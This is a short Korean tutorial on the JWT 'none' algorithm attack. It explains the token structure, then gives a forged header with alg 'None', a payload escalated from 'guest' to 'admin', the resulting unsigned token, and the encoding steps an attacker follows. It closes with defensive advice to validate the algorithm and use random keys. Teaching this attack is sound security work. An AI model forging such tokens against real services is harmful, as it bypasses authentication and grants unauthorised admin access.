JWT None Type Injection Attack

   

JSON Web Token(RFC 7519)은 JSON 문서에 클레임을 인코딩한 후 서명하는 방법이다.

JWT란

1
2
// base64 encoded (generally included in cookie)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6Imd1ZXN0IiwiaWF0IjoxNTU2MjU3NTg0fQ.tlc7WJ1t5gHsztrjAkRbxzZklwGEvfqXupFPuav1TXM

JWT 는 웹사이트 사용자 인증에서 종종 쓰이는데, 쿠키에 주로 포함되어 쓰인다.
base64로 인코딩되어 온점 2개로 구분되는 header.payload.signature 의 구조를 띈다.

https://jwt.io/ 에서 JWT를 간편하게 복호화해 볼 수 있다.

1
2
3
4
5
// First Part (Header)
{
"alg": "HS256", // Encrypted by 'HMAC SHA256'
"typ": "JWT" // Json Web Token
}

Header는 Type와 Algorithm 두 요소를 가지며, alg는 JWT의 세번째 부분인 Signature의 해싱 알고리즘을 지정할 수 있다.

1
2
3
4
5
// Second Part (Payload)
{
"perms": "guest",
"iat": 1556257584
}

Payload는 토큰의 실제 정보가 들어있다.
인증에 쓰이는 정보 이외에 추가로 클레임(reserved claim) 이라고 부르는 정보가 포함되는데
토큰의 상태정보를 보관하는 용도로 설정에 따라 포함된다.

None Type attack

1
2
3
4
5
6
7
8
9
10
11
12
// Header and Payload
{
"alg": "None",
"typ": "JWT"
}
{
"perms": "admin",
"iat": 1556257584
}

// Base64 encoded and replaced
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwiaWF0IjoxNTU2MjU3NTg0fQ.

None Type Injection은 Header의 Alogorithm 타입을 None으로 변조하었을 경우 발생할 수 있는 취약점이다.
이로 인해 Signature 부분 검증이 생략되므로 인증을 우회할 수 있는 것인데
공격자 입장에서 정보를 수정한 후 Base64로 인코딩하고
= 소거 후 +/ 을 각각 -_ 으로 변경하여 주면 된다.

안전한 JWT 인증을 위해서는 반드시 알고리즘 타입을 검증하고 예측할 수 없는 난수키를 사용하여야 하겠다.